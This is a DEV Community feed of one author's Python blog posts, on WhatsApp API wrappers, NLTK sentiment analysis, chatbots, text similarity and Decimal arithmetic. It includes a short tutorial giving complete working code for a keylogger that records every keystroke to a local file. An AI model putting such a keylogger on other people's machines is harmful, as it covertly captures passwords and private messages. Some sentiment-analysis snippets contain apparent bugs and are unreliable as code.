DEV Community: Jordan Kalebu

Python Wrapper for newly announced WhatsApp Cloud API

Jordan Kalebu — Fri, 20 May 2022 21:46:07 +0000

WhatsApp just opened up its Cloud API to smoothen integration with WhatsApp messaging but it is not always easy for a developer to get started

So I just made Heyoo, An Opensource python wrapper to make the integration even smoother.

Have a look https://github.com/Neurotech-HQ/heyoo

SENTIMENT ANALYSIS WITH PYTHON's NLTK LIBRARY

Jordan Kalebu — Wed, 18 May 2022 13:34:43 +0000

It is commonly known, the success of a company/business/product directly depends on the customer, so if your customer likes your product it's your success. If not then you need to improvise it by making some changes to it.

Question: How will you know whether your product is successful or not?

Well for that you need to analyze your customers and one of the attributes of analyzing your customer is to analyze the sentiment of them on the specific product and this is where the sentiment analysis comes into the picture.

So, let's start with what is sentiment analysis?

Sentiment Analysis we can say it is a process of computationally identifying and categorizing opinions from piece of text, and determine whether the writer's attitude towards the particular topic or product is positive,negative or neutral.

It might be possible not as an individual every time you don't perform a sentiment analysis but you do look for the feedback right like before purchasing a product or downloading an app in your device(phone) either from the App Store or Play Store you can look for feedback of what other customers or users are saying about that product whether is good or bad and you analyze it manually. Consider at the company level, how do they analyze what customers are saying about particular products, they do have more than millions of customers. That is where companies need to perform sentiment analysis to know whether their products are doing good on the market or not.

What is NLTK?

NLTK stands for Natural Language Toolkit, It provides us various text processing libraries with a lot of test datasets. Today you will learn how to process text for sentiment analysis using NLTK. There are other libraries as well like CoreNLP, spaCy, PyNLPI, and Polyglot. NLTK and spaCy are most widely used. Spacy works well with large information and for advanced NLP.

We are going to use NLTK to perform sentiment analysis to assess if a Twitter post is about Covid-19 or not. You can read more about the datasets we are going to use here

The first step is to install NLTK in your working environment

pip install nltk

Data Loading

Our datasets have three features ID, text, and target where ID just indexes each tweet, the text is the tweet needed to be classified and the target is the label of the tweet where 1 means the tweet with Covid contents and 0 tweets with no Covid contents.

import pandas as pd
tweets =  pd.read_csv("../data/tweets.csv")
tweets.head()

Overview of tweets

Let's try to filter some tweets one with Covid contents and another with non-Covid contents.

# %tweet with covid contents
tweets[tweets['target'] == 1 ].loc[8,'text']

# %tweet with non covid contents
tweets[tweets['target'] == 1].loc[1,'text']

Data Cleaning

The process is usually step-wise, regardless of which language of those sentiments are coming, only some changes can be done to fit the requirements of sentiment analysis but the idea of cleaning text data is the same. We have loaded the datasets it is time to clean those texts.

Removing Punctuation

Punctuation is nonmeaningful when we come in sentiment analysis we should remove from strings to remain with clean sentiments. We can do so by using remove_punctuation function on the snippet below.

# %function to remove punctuation using string library
def remove_punctuation(text):
    '''a function for removing punctuation'''
    translator = str.maketrans('', '', string.punctuation)
    return text.translate(translator)

tweets['text'] = tweets['text'].apply(remove_punctuation)

Converting Text to Lowercase

In sentiment analysis, we should consider converting text to lowercase because they can be a problem for a couple of reasons. Imagine the world "us".It could be a pronoun representing "we" on the sentence or the country "USA". We can do so by using the piece of code below.

tweets['text'] = tweets['text'].apply(lambda x: " ".join(x.lower()  for x in x.split()))

Removing Stop words

A Text may contain words like ‘is’, ‘was’, ‘when’ etc. We can remove stopwords from the text. There is no universal list of stop words in NLP, however, the NLTK library provides a list of stop words, so here we will use the snippet below to remove all stopwords from the text.

# %import nltk
import nltk

# %download stopwords using nltk
nltk.download('stopwords')

# %remove english stopwords
allstopwords = nltk.corpus.stopwords.words("english")
tweets['text'] = tweets['text'].apply(lambda x: " ".join(i for i in x.split() if i not in allstopwords))

Removing Numbers

Numbers or words combined with numbers are very hard to process, you can find a sentence with words like covid-19 , software2020 or plan7. For this can, we should remove these kinds of words be problems for machines to understand. For our case here is a piece of code to perform such a task.

def remove_numbers(text):
    '''a function to remove numbers'''
    txt = re.sub(r'\b\d+(?:\.\d+)?\s+', '', text)
    return txt

tweets['text'] = tweets['text'].apply(remove_numbers)

Tokenization

The process of breaking down the text into smaller units is called tokens. If we have a sentence, the idea is to separate each word and build a vocabulary such that we can represent all words uniquely in a list. Numbers, words, etc.. all fall under tokens. NLTK has different methods to perform such tasks. For our case, we will use sent_tokenize to perform tokenization


nltk.download('punkt')
from nltk.tokenize import sent_tokenize
tweets['text'] = sent_tokenize(tweets['text'])

Story Generation and Visualization from Tweets

Take a look at visualizations to answer some questions or to tell stories like

What are the most common words in the entire dataset?
What are the most common words in the dataset for each class, respectively?
Which trends are associated with either of the sentiments? Are they compatible with the sentiments?

We will be using a word cloud to visualize our tweets

# create text from all tweets
all_words = ' '.join([text for text in tweets['text']])
wordcloud = WordCloud(width=900, height=500, random_state=21, max_font_size=110).generate(all_words)
plt.figure(figsize=(15, 7))
plt.imshow(wordcloud, interpolation="bilinear")
plt.axis('off')
plt.show()

Word cloud Visualization for tweets

From left word cloud visualization of all tweets, at the middle the visualization of tweets about Covid and the last(right side) the visualization of tweets with non-Covid contents.

Feature Extraction and Classification

Here we are going to extract tweets and split them into two groups, train group and test group where train group will be used to train our sentiment model and the test group to validate the performance of our model, the splitting task will be done by using sklearn python library

we are going to use NLTK methods to perform feature extractions

# %Extracting word features
def get_words_in_tweets(tweets):
    all = []
    for (words, target) in tweets:
        all.extend(words)
    return all

def get_word_features(wordlist):
    wordlist = nltk.FreqDist(wordlist)
    features = wordlist.keys()
    return features
w_features = get_word_features(get_words_in_tweets(tweets))

def extract_features(document):
    document_words = set(document)
    features = {}
    for word in w_features:
        features['containts(%s)' % word] = (word in document_words)

Then, Let's use NLTK Naive Bayes Classifier to classify the extracted tweet word features.

from nltk.classify import SklearnClassifier

training_set = nltk.classify.apply_features(extract_features,tweets)
classifier = nltk.NaiveBayesClassifier.train(training_set)

The final step is to evaluate how far our trained model can perform sentiment classification with unseen tweets.

noncovid_cnt = 0
covid_cnt = 0
for obj in test_nocovid:
    res =  classifier.classify(extract_features(obj.split()))
    if(res == 0):
        noncovid_cnt = noncovid_cnt + 1
for obj in test_covid:
    res =  classifier.classify(extract_features(obj.split()))
    if(res == 1):
        covid_cnt = covid_cnt + 1

print('[Non Covid]: %s/%s '  % (len(test_nocovid),noncovid_cnt))
print('[Covid]: %s/%s '  % (len(test_covid),covid_cnt))

The final model with NLTK was able to predict collect 530 tweets with Non-Covid contents out of 581, equivalent to 91%, and 410 tweets with Covid contents out of 477, equivalent to 85%.

Well done, now you are familiar with NLTK that allows you to process text, analyze text to gain particular information, you can investigate more on how to make your model improve also you can opt to select other classifiers to compare with Naive Bayes.

Thank you, you can access full codes here

Relationship Between Neurotech and Natural Language Processing(NLP)

Natural Language Processing is a powerful tool when your solve business challenges, associating with the digital transformation of companies and startups. Sarufi and Neurotech offer high-standard solutions concerning conversational AI(chatbots). Improve your business experience today with NLP solutions from experienced technical expertise.

Hope you find this article useful, sharing is caring.

Understand How Chatbots Can Take Your Business To The Next Level

Jordan Kalebu — Wed, 18 May 2022 12:50:12 +0000

Do you know that chatbot can be the answer to your business challenges? Chatbots can help you improve customer service and increase conversions. As bots get more advanced, the potential for what they can do is practically limitless. The best way to improve your business is to get more customers, and a bot can help you do that. If your business strategy is lacking in a particular area, it's time to fix it.

This article has been originally published at blog.neurotech.africa

What is Chatbot?

Chatbots are computer programs or simply conversational artificial intelligence which are trained to assist humans with repetitive day-to-day tasks on different systems.

A chatbot is a computer program that simulates human conversation through voice commands or text chats or both. You can say it is the output interface of Natural Language Processing. Chatbot, short for chatterbot, is an artificial intelligence (AI) feature that can be embedded and used through any major messaging application.

The worthy truth 50% of consumers no longer care if they are dealing with humans or artificial intelligence-enabled assistants. In such competitive times, the quality of chatbots has shown remarkable growth.

The number of businesses that utilize chatbots is increasing day to day, this shows that chatbots are very potential and becoming popular and are currently most commonly used in messenger applications and social media platforms.

Why are chatbots potential in nowadays businesses?

Chatbots help businesses to keep up with new trends this is because chatbots are able to present on the message platforms, around 60% of the smartphone users don’t download any other new apps on their mobile phones because they have their core applications such as Whatsapp, Facebook, and Instagram, therefore, it’s hard for someone to start looking for any other new apps until they feel dissatisfaction with their core apps. Integrating chatbots into those platforms is better than building new applications to support customer service activities. This approach can reduce your time as well as save your money. Imagine you have introduced a new app to support your business. How much time and money can you spend on advertising the app to make your customers aware of it and also be comfortable using it.
Chatbots help to reduce operational costs cause once you have a chatbot operating on your services helps serve costs for training, salary, and infrastructure for customer service tasks. Implementing a fully functioning chatbot is far better and cheaper than creating a secure platform application or hiring employees for each task, thus chatbot can help your employees to do relatively basic and repetitive tasks.
Chatbots improve customer engagement: Companies that interact with their customers through social media can improve their customer's spending usually by 20 to 40 percent but with the help of these chatbots, it can contribute to more customer engagement with a fan fact factor in the initial stages.
Chatbots can help businesses in monitoring consumer data and gaining insights with the help of the chatbots you will be able to track the purchasing patterns and your consumer behavior by monitoring the user data. This will make it easier to understand your customers in a better way. Then your brand can decide which products have to be marketed differently, which products can be redeveloped or relaunched and you can take appropriate actions with those insights.
None of the organizations have enough time and manpower to communicate with all their customers in an actual required time or periodically but the use of chatbots can do it for you. Chatbots can initiates conversation regardless of what time and what issue will make your customers feel that your brand is one step ahead.
With the help of a chatbot, you can improve customer service, since 83% of online shoppers need support during shopping these chatbots can provide assistance like a real salesperson in a real store and this chatbot helps you to offer support to your customers and 24*7 and understand what the real problem customers are facing.
Better lead generation qualification, chatbots can help you in better lead generation qualification and necessary a chatbot can ask required as well as related questions and this generates leads for your business also generating potential customers and notify your sales team to determine the unqualified leads through identified key performance indicators and prevent you to deal with time-consuming leads.
With chatbots you can easily approach the global markets whether you are an international brand or a local brand that thrives hard to reach an international market, chatbots can help you to solve all your customer care problems in multiple languages 24*7 365 days a year and this helps to reach your market to a global environment.

Chatbot for marketing

The benefits of chatbots don’t end here. If you want to know more about its benefits and you want to implement a chatbot service to grow your business feel free to get in touch with Neurotech we can provide you with a consultation.

Keep attention to every detail associated with your customer's relationship with your business, don't forget that competition in business is everything and differentiation is the key to successful selling. You must have a competitive advantage if you don’t have one, you should create one.

Relation Between Chatbot and Neurotech

At Neurotech We are building Sarufi a Swahili conversational API that can help solve customer problems in businesses with Sarufi, you can easily build Conversational AI or chatbots to communicate with customers. It is a no-code chatbot builder that will provide you with all the solutions you need to build and implement a chatbot for your business!

Thank you for making the end of this informative article, remember sharing is caring.

Automating WhatsApp web with alright

Jordan Kalebu — Mon, 21 Jun 2021 09:53:33 +0000

alright?

Alright is a python wrapper that helps you automate WhatsApp web using python, giving you the capability to programmatically send messages, images, videos, and files to both saved and unsaved contacts without having to rescan the QR code every time you do that.

This article is originally found in these places;

Why alright?

I was looking for a way to control and automate WhatsApp web with Python, I came across some very nice libraries and wrappers implementations including;

So I tried pywhatkit, really cool one well crafted to be used by others but its implementations require you to open a new browser tap and scan QR code every time you send a message no matter if its the same person, which was deal-breaker for me.

I then tried pywhatsapp which is based on yowsup and thus requiring you to do some registration with yowsup before using it of which after bit of googling I got scared of having my number blocked when I do that so I went for the next option

I then went for WebWhatsapp-Wrapper, it has some good documentation and recent commits so I had hopes it gonna work but It didn't for me, and after having couples of errors I abandoned it to look for the next alternative.

Which is PyWhatsapp by shauryauppal, which was more of cli tool than a wrapper which suprisingly worked and it's approach allows you to dynamically send whatsapp message to unsaved contacts without rescanning QR-code everytime.

So what I did is more of a refactoring of the implementation of that tool to be more of wrapper to easily allow people to run different scripts on top of it instead of just using as a tool I then thought of sharing the codebase to people who might struggled to do this as I did.

Getting started

You need to do a little bit of work to get alright to running, but don't worry I gotcha you, everything will work well if you just carefully follow through the documentation.

Installation

We need to have alright installed on our machine to start using which can either be done directly from GitHub or using pip.

installing directly

You first need to clone or download the repo to your local directory and then move into the project directory as shown in the example and then run the below command;

git clone https://github.com/Kalebu/alright
cd alright
alright > python setup.py install 
....

installing from pip

pip install alright

Setting up Selenium

Underneath alright is Selenium which is one does all the automation work by directly controlling the browser, so you need to have a selenium driver on your machine for alright to work.

So primarily I developed alright and tested on a Chrome browser and therefore it gonna require you to have Chrome and chromedriver other browser support coming soon.

You need to make sure you download the chrome driver compatible with the Chrome version you're using otherwise it won't work and also don't forget to extract the zip version of a driver

Here a guide to check the version of chrome you're using

Adding selenium driver to the path

One more final step to set up is to add the selenium driver location to path so as it can be discovered by alright, which varies depending on the operating system you're using.

For instance, let's say example the current location our driver is in /home/kalebu/chrome-driver (You can view the full path to your driver by running the PWD command), Here how you would do that.

Linux

For linux to permanently add path to browser do this;

nano ~/.bashrc

and then add the command to export the folder at the very bottom of the file & then Ctrl+X to save it

export PATH=$PATH:"/home/kalebu/chrome-driver"

Window

For window users, you follow this guide to actually do that.

Now after that, we're now ready to automating and controlling WhatsApp web using alright

What you can do with alright?

Send Messages
Send Images
Send Videos
Send Documents

When you're running your program made with **alright, you can only have one controlled browser window at a time, If you run while another window is live it raise an error so make sure to close the controlled window before running another one

Unsaved contact vs saved contacts

Alright allows you to send the messages and media to both unsaved contacts as explained earlier but there is a tiny distinction on how you do that, you will observe this clearly as use the package.

The first step before sending anything to the user is first to locate the user and then you can start sending the informations thats where the main difference lies btn saved and unsaved contacts.

Saved contacts

To saved contact use method find_by_username() to locate saved user,you can also use the same method to locate WhatsApp groups, The parameter can be either be;

saved username
mobile number
group name

Here an Example on how to do that

>>> from alright import WhatsApp
>>> messenger = WhatsApp()
>>> messenger.find_by_username('saved-name or number or group')

Unsaved contacts

In sending message to unsaved whatsapp contacts use find_user() method to locate the user and The parameter can only be users number with country code with (+) omitted as shown below;

>>> from alright import WhatsApp
>>> messenger = WhatsApp()
>>> messenger.find_user('255-74848xxxx')

Now Let's dive in on how we can get started on sending messages and medias

Sending Messages

To send a message with alright, you first need to target a specific user by using the find_user() method, and then after that you can start sending messages to the target user using the send_message() method as shown in the example below;

>>> from alright import WhatsApp
>>> messenger = WhatsApp()
>>> messenger.find_user('2557xxxxxz')
>>> messages = ['Morning my love', 'I wish you a good night!']
>>> for message in messages:  
        messenger.send_message(message)

Multiple numbers

Here how to send a message to multiple users, Let's say we wanta wish merry-x mass to all our contacts, our code is going to look like this;

>>> from alright import WhatsApp
>>> messenger = WhatsApp()
>>> numbers = ['2557xxxxxx', '2557xxxxxx', '....']
>>> for number in numbers:
        messenger.find_user(number)
        messenger.send_message("I wish you a Merry X-mass and Happy new year ")

You have to include the country code in your number for this library to work but don't include the (+) symbol

Sending Images

Sending message is nothing new, its just the fact you have to include a path to your image instead or raw string characters and also you have use send_image(), Here an example;

>>> form alright import WhatsApp
>>> messenger = WhatsApp()
>>> messenger.find_user('mobile')
>>> messenger.send_image('path-to-image')

Sending Videos

Samewise to videos just send_videos() method;

>>> from alright import WhatsApp
>>> messenger = WhatsApp()
>>> messenger.find_user('mobile')
>>> messenger.send_video('path-to-video)

Sending Documents

The rest of the documents such as docx, pdf, audio, you name it falls into the category of documents and you can send_files() to that.

>>> from alright import WhatsApp
>>> messenger = WhatsApp()
>>> messenger.find_user('mobile')
>>> messenger.send_file('path-to-file')

Well thats all for now for the package, to request new feature make an issue to the official repository.

Contributions

alright is an open-source package under MIT license, so contributions are warmly welcome whether that be a code, docs or typo just fork it.

when contributing to code please make an issue for that before going making your changes so that we can have a prior discussion on implementation

Issues

If you're facing any issue or difficulty with the usage of the package just raise one so as we can fix it as soon as possible.

Give it a star

Was this useful to you? then give it a star so that more people can know about this.

Credits

All the credits to;

kalebu
shauryauppal
and all the contributors

My Journey as Opensource Contributor

Jordan Kalebu — Fri, 07 May 2021 22:57:15 +0000

Hi everyone,

This article originally started as a thread on Twitter and then decided to make an article about it regarding my journey as an open-source contributor, Hope you will enjoy it, take your time

Early 2020 I started a journey as a content creator whereby I have been writing technical content on Software Development mostly being focused on the Python stack.

In the last 5 months, I began a new journey as an opensource contributor, and up to date I have contributed to 8 different python packages

In this article, I'm going to share my journey as 5 months old contributor and my thoughts on contributing to opensource.

Start of the Journey

The Journey started in December 2020 when Vodacom released their public Mpesa Payment API, As I was looking for a way to integrate with python I came across their implementation for a python wrapper.

I hardly understood it, and usage seems unpythonic to me, I then convinced myself it could be better than that and immediately started my very first opensource project (pypesa) for its re-implementation.

It wasn't easy, a lot of googling and StackOverflow, but eventually, I was able to come up with something that actually worked, and I finally ported it to PyPI.

Neurotech-HQ / pypesa

Python wrapper on Mpesa public API for mobile Payment Integration

pypesa

Python wrapper on Mpesa public API for mobile Payment Integration made with care to offer easy and elegant integration made by kalebu

Implemented Features

The following are the features that are supported by the Mpesa public API and require the python implementation.

Customer to Bussiness (C2B) Single Payment
Bussiness to Customer (B2C)
Bussiness to Bussiness (B2B)
Payment Reversal
Query Transaction status
Direct debit creation and Payment

Documentation

Full documentation can be found on pypesa

Getting started

Getting started with pypesa is pretty straight forward and can be categorized

into steps shown below.

Sign up for Mpesa Developer portal
Install the pypesa package using pip
Build your services with pypesa

Signing up

To sign up for Mpesa public API visit Mpesa-API and then

you can go through getting started Mpesa Developer portal by alphaolomi to see how.

Installation

To install the pypesa package to your machine you can either

install…

View on GitHub

It now has over 1.9K downloads

It was so fulfilling to me seeing other people using something I crafted and that good feeling lead me to meditate and rethink that I might able to do more to the opensource community taking apart Mpesa package.

For a long time, I have been wishing and admiring being an open-source contributor, inspired by the fact that most software we use today in some ways relies upon OSS whereby people dedicate their time, skills, and effort to build something that we can all use for free.

That single contribution to the Mpesa package helped overcome the imposter syndrome of feeling unskilled enough and contributed anyway which keep me moving through the rest of the journey

Pyswahili

The same month I started pypesa I opened a new repository titled pyswahili while procrastinating preparing a talk for Pycon Tanzania, envisioning to be the Swahili version of python programming language.

Honestly speaking, I didn't intend to begin working on this project anytime soon but it changed when I saw the repository with a 0 line code gaining stars and people are betting on it and I said to myself I need to make it real.

Well after a couple of weeks I managed to come with an early implementation of pyswahili with a couple of bugs like replacing non-keyword strings, lack of an interactive repl, unstructured packaging.

I then shared the early implementation with my fellow devs and they were really excited which lead the repo itself to gain a few contributors and a little bit more stars

Recently I managed to port to PyPI and up to date it has been downloaded by over 0.8K

Kalebu / pyswahili

A Swahili version of programming language to allow Swahili speakers get started with programming

pyswahili

Pyswahili is a light weight python library that helps you write your python code in Swahili.

pyswahili is not a completely independent language but more of a swahili version of python language, syntax and language grammar is equivalent to python one with only change of keywords from english to swahili.

Transipiler

Transpiler(Pyswahili) translates swahili version of python to english version so that it can be intepreted by the python Intepreter.

Pyswahili File extension ?

There is no official extension for pyswahili, so for now .py is fine.

What can you do with pyswahili ?

Similar to Python, Pyswahili supports both modes; the Read-evaluate-print(Repl) loop and Script mode.

Repl enable you to interactively execute pyswahili code line by line without requiring to write a complete program while on other side Script mode requires you to write your Pyswahili code on a file and run it…

View on GitHub

Mtaa

The third package arose when I came across a Github repository consisting of data about all locations data in Tanzania grouped by region as CSV Files.

I then thought how about organizing those data as a python package for easy accessibility and usage when it comes to building a real-life application with it.

which leading creating mtaa, a python package just do that;

Kalebu / mtaa

A package consisting of all Tanzania locations from region to streets in an easily accessible way

mtaa

A package consisting of all Tanzania locations from region to streets in a easy accessible way made by kalebu

A strory behind

Mtaa package is result of organized json of all the locations in Tanzania, As I was looking for data about these locations data I came across repo tanzania-location-db, It consists of locations data organized into regions, whereby each region has its own csv file. So I wrote a script to transform all the locations from csv into a single Json and from there package came.

Json Transformer

If you wanna give a look at the script or interested about building your Json from a similar kind of raw data here is Json Transformer script.

Installation

Use pip to install it just as shown below;

pip install mtaa

Usage

The library is very straight forward, at the very top of the library is country which…

View on GitHub

Pysimilar

Pysimilar came up after a previously published article on how to detect plagiarism in Python using cosine similarity, which stands as one of the most-read articles here on dev.to and multiple platforms I published including my personal blog.

After realizing many people were looking into building something like that, I then thought of building a light python package that will enable even complete beginners to able to build a plagiarism detector in python

Kalebu / pysimilar

A python library for computing the similarity between two strings (text) based on cosine similarity

pysimilar

A python library for computing the similarity between two string(text) based on cosine similarity made by kalebu

How does it work ?

It uses Tfidf Vectorizer to transform the text into vectors and then obtained vectors are converted into arrays of numbers and then finally cosine similary computation is employed resulting to output indicating how similar they are.

Installation

You can either install it directly from Github or use pip to install it, here is how you to install it directly from github;

$  git clone https://github.com/Kalebu/pysimilar
$  cd pysimilar
$ pysimilar -> python setup.py install

Installation with pip

$ pip install pysimilar

Example of usage

Pysimilar allows you to either specify the string you want to compare directly or specify path to files containing string you want to compare.

Here an example on how to compare strings directly;

>>> from pysimilar import compare
>>> compare

…

View on GitHub

More python packages

If you can't find it, develop and opensource it said opensource, So I did and began developing packages focused mostly on simplifying the integration with the APIS,

These packages include;

NextSMS a python Package to ease the integration with nextsms SMS Gateway
Tigopesa Python package to ease the Tigo Pesa Payment API integration
BeemAfrica A python library to ease the integration with the Beem Africa (SMS, AIRTIME, OTP, 2WAY-SMS, BPAY, USSD)
Nida un-official Python library for loading user information based on National ID number(Tanzania)

What I have learned? and why you should contribute too?

Personally getting to open-source has completely transformed me in terms of perception and improvement in the way I write code than code examples ever taught me.
Therefore I would also recommend If you're currently learning a programming language or looking to advance your skills, one of the best things you can do to achieve that is contributing to opensource
Your contribution to open-source projects can act as your portfolio with vivid evidence on how you write code and document your project which can help you land paying gigs, I recently worked with a client who reached out only after going through my GitHub so it works for sure.
You don't really to be an expert to contribute, you just need to have something to contribute that's all, and sometimes you don't even have that something, there are couples of websites such as CodeTriage that highlight issues you fix and level of the difficulties for tons of opensource software.

Well, that's all for this article, I'm glad you enjoyed learning exploring my journey as an open-source contributor, to me this is just beginning and I really think you should too.

You can connect me with me on Twitter

I also write articles on personal blog

40 Python Projects ideas

Jordan Kalebu — Sun, 25 Apr 2021 19:58:32 +0000

Hello guys , in this blog post I have organized 40 Python projects that you might be interested trying out ranging from webscraping to to natural language processing.

All the project listed here are the one I have built personally as I learn python and I thought it might be useful sharing them with other people learning python so as to help them solidify python skills as they build them.

I have attached Either a blog post about the project or a Github repository with the source code of the project, I hope you will find them useful.

In case you face any issues while trying to run any of these projects, please feel free to reach me through my email at isaackeinstein(at)gmail.com, Good luck.

Cybersecurity

Natural language Processing

Web scraping

Machine Learning

Loan repayment Predication with Machine learning

Computer vision

Desktop GUI

CLIS

Visualizations

How to Visualize the COVID-19 spread using folium in Python

Embedded and IoT

Ways to controlling arduino boards with Python

Bots and Automation

A Simple Telegram bot

Hope you find them useful, in case you would have anything to add just fork it, and it will be my pleasure merging your helpful contributions.

Did you count, its 35 not 40 I will take the remaining as debt and will update along the way !!

You can find more more articles from a personal blog kalebujordan.dev

Using pysimilar to compute the similarity between texts

Jordan Kalebu — Wed, 07 Apr 2021 19:48:42 +0000

Hi guys,
I recently wrote an article titled How to detect plagiarism in text using python whereby I show how you can easily detect plagiarism between documents as the title says manually using cosine similarity.

I republished that article on multiple platforms including here on dev.to and Hackernoon, and it's one of my most viewed articles plus the most starred GitHub repository among articles repositories.

Which gave me a second thought to refactor the code/article to make it more easily and friendly to get started with even for absolute beginners leading me to build a python library pysimilar which I can say simplify it to the maximum;

Getting started with Pysimilar

To get started with pysimilar for comparing text documents, you just need to install first of which you can either install directly from GitHub or using pip.

Here how to install pysimilar using pip

$ pip install pysimilar

Here how to install directly from github

$ git clone https://github.com/Kalebu/pysimilar
$ cd pysimilar
$ pysimilar -> python setup.py install

With Pysimilar you can either compare text documents as strings or specify the path to the file containing the textual documents.

Comparing strings directly

You can easily compare strings using pysimilar using compare() method just as illustrated below;

>>> from pysimilar import compare
>>> compare('very light indeed', 'how fast is light')
0.17077611319011649

Comparing strings contained files

To compare strings contained in the files, you just need to explicitly specify the isfile parameter to True just as illustrated below;

>>> compare('README.md', 'LICENSE', isfile=True)
0.25545580376557886

You can also compare documents with particular extension in a given directory, for instance, let's say I want to compare all the documents with .txt in documents directory here is what I will do;

The directory for documents used by the example below looks like this

documents/
├── anomalie.zeta
├── hello.txt
├── hi.txt
└── welcome.txt

Here how to compare files of a particular extension

>>> import pysimilar
>>> from pprint import pprint
>>> pysimilar.extensions = '.txt'
>>> comparison_result = pysimilar.compare_documents('documents')
>>> [['welcome.txt vs hi.txt', 0.6053485081062917],
    ['welcome.txt vs hello.txt', 0.0],
    ['hi.txt vs hello.txt', 0.0]]

You can also sort the comparison score based on their score by changing the ascending parameter, just as shown below;

>>> comparison_result = pysimilar.compare_documents('documents', ascending=True)
>>> pprint(comparison_result)
[['welcome.txt vs hello.txt', 0.0],
 ['hi.txt vs hello.txt', 0.0],
 ['welcome.txt vs hi.txt', 0.6053485081062917]]

You can also set pysimilar to include files with multiple extensions

>>> import pysimilar
>>> from pprint import pprint
>>> pysimilar.extensions = ['.txt', '.zeta']
>>> comparison_result = pysimilar.compare_documents('documents', ascending=True)
>>> pprint(comparison_result)
[['welcome.txt vs hello.txt', 0.0],
 ['hi.txt vs hello.txt', 0.0],
 ['anomalie.zeta vs hi.txt', 0.4968161174826459],
 ['welcome.txt vs hi.txt', 0.6292275146695526],
 ['welcome.txt vs anomalie.zeta', 0.7895651507603823]]

Well that's all for this article, Excited to see what you will build with it

Kalebu / pysimilar

A python library for computing the similarity between two strings (text) based on cosine similarity

pysimilar

A python library for computing the similarity between two string(text) based on cosine similarity made by kalebu

How does it work ?

Installation

You can either install it directly from Github or use pip to install it, here is how you to install it directly from github;

$  git clone https://github.com/Kalebu/pysimilar
$  cd pysimilar
$ pysimilar -> python setup.py install

Installation with pip

$ pip install pysimilar

Example of usage

Pysimilar allows you to either specify the string you want to compare directly or specify path to files containing string you want to compare.

Here an example on how to compare strings directly;

>>> from pysimilar import compare
>>> compare

…

View on GitHub

Python keylogger in 5 minutes

Jordan Kalebu — Tue, 23 Feb 2021 21:02:16 +0000

How it started ?

It was during the PyconTanzania, There was a talk about Cybersecurity presented by Mary Isamba and along it, we made of our very own simple keylogger in python.

Intro

This is very basic project and you don't need to be even competent with python to successful build it, let's get started!!

To build a keylogger we need a way to keep track of every key pressed on a keyboard, there are couple of libaries in python for doing that ranging from

Take a time to look at them and pick the one fits you well, in this project we are going to use pynput;

Installation

pip install pynput

Building our keylogger

To track key strokes we have to implement a listener function and then attach it to our pynput listener, here how;

>>> from pynput import keyboard
>>> def on_press(key):
...     print(key)

>>> listener = keyboard.Listener(on_press=on_press)
>>> listener.start()
>>> h'h'
v'v'
Key.ctrl
'v'
Key.cmd
Key.ctrl
Key.shift

As we can see in just few lines of code we were able to implement a keylogger that track a pressed key and output it in our repl terminal

So what we have to do now is to open a new file for storing our keystrokes instead of printing them on the repl, Here how;

>>> from pynput import keyboard
>>> def on_press(key):
...     with open('keylogs.txt', 'a') as logs:
...             logs.write(str(key))
... 
>>> listener = keyboard.Listener(on_press=on_press)
>>> listener.start()
>>> hellodam testing

Now If you go and take a look at your current directory and you will see a new file named keylogs.txt with new tracked keys in it just as shown below;

❯ cat keylogs.txt
Key.cmd'h''e''l''l''o''d''a''m'Key.space't''e''s''t''i''n''g'Key.cmdKey.cmdKey.ctrlKey.alt't''c''a''t'Key.space'k''e''y'Key.tabKey.enter%

Here is how our formatted code can look like;

from pynput import keyboard


class KeyLogger():
    def __init__(self, filename: str = "keylogs.txt") -> None:
        self.filename = filename

    @staticmethod
    def get_char(key):
        try:
            return key.char
        except AttributeError:
            return str(key)

    def on_press(self, key):
        print(key)
        with open(self.filename, 'a') as logs:
            logs.write(self.get_char(key))

    def main(self):
        listener = keyboard.Listener(
            on_press=self.on_press,
        )
        listener.start()


if __name__ == '__main__':
    logger = KeyLogger()
    logger.main()
    input()

We are done

Congrats you just learned how to make a keylogger in Python now shout to your fellow peers

You can also connect with me on twitter

I also write python articles on my personal blog

Kalebu / python-keylogger

A minimal keylogger that accurately tracks keyboard strokes made in Python

python-keylogger

A minimal keylogger that accurately track keyboard strokes made in Python

Image by Markus Spiske from Pixabay

Getting started !

Clone | Download the Repository => then open a terminal | command prompt to your project, and then run the app.py script and your keylogger should up spying on every keystroke you will ever write

git clone https://github.com/Kalebu/python-keylogger
cd python-keylogger
python app.py

keylogs.txt

A keylogger will automatically open a new file on your project directory and then start storing yours keys, to change the filename, or directory to store the logs, open the script and then adjust the filename at the bottom of script just as illustrated below;

if __name__ == '__main__':
    logger = KeyLogger(filename="path-to-logs-file.txt')
    logger.main()
    input()

For Education purpose only !!!

The script itself tells, this script is only…

View on GitHub

When you should use Decimal over float in Python

Jordan Kalebu — Sun, 21 Feb 2021 10:52:52 +0000

How it began?

This week I was dealing with something that required me to store data in AWS Dynamo and I found something interesting which lead me to write this piece of article.

Here is what happened?

I was trying to store float values to the aws dynamo table but it didn't well it raised a Type Error that
inexact numeric for data I was trying to solve.

Understood why (0.1+0.2) != 0.3

After a bit of googling, I came to realize that python does not store exact floating numbers but with tons of decimal other decimal precision(this has to do with the design of the language itself)

Here an example

>>> 1.1 + 1.3
2.4000000000000004

what can we do now?

Python has got you covered, there is a built-in module called decimal which is built on top of float-point data types allowing you to have exactly decimal numbers

Here an example

>>> from decimal import Decimal
>>> Decimal(0.1)
Decimal('0.1000000000000000055511151231257827021181583404541015625')

As we can see 0.1 in python is nothing but 0.1 with tons of decimals, to express 0.1 as 0.1 we have to pass it as string
to our Decimal function just as shown below;

>>> from decimal import Decimal
>>> Decimal('0.1')
Decimal('0.1')
>>> Decimal('0.1') + Decimal('0.2') == Decimal('0.3')
True

As we can see now 0.1 is presented in exact values, and with this trick I was able to effictively store my float values in the aws lambda smoothly.

Other areas to use Decimal instead of float ?

Accounting Application

When you're dealing with accounting calculation which is probably going to involve calculation with decimal point use Decimal points instead of float values for more accurate and precision in your financial calculation

Converting Decimal to Fraction

When you're writing a program which in some ways do the conversion of decimal numbers to integer fraction, you don't wanna use float, it will screw you up;

Just to put it into action try converting a float value 0.35 to integer fraction

>>> (0.35).as_integer_ratio()
(3152519739159347, 9007199254740992)

Using decimal instead

>>> Decimal('0.35').as_integer_ratio()
(7, 20)

Well that's all I have got for today, you can keep in touch with me on Twitter kalebu for more tricks

Gota any other places you think we should be using Decimal instead of float, Please share in the comment box below;

I also write an in-depth Python tutorial at kalebujordan.dev

Pyswahili (Python for non-english speakers)

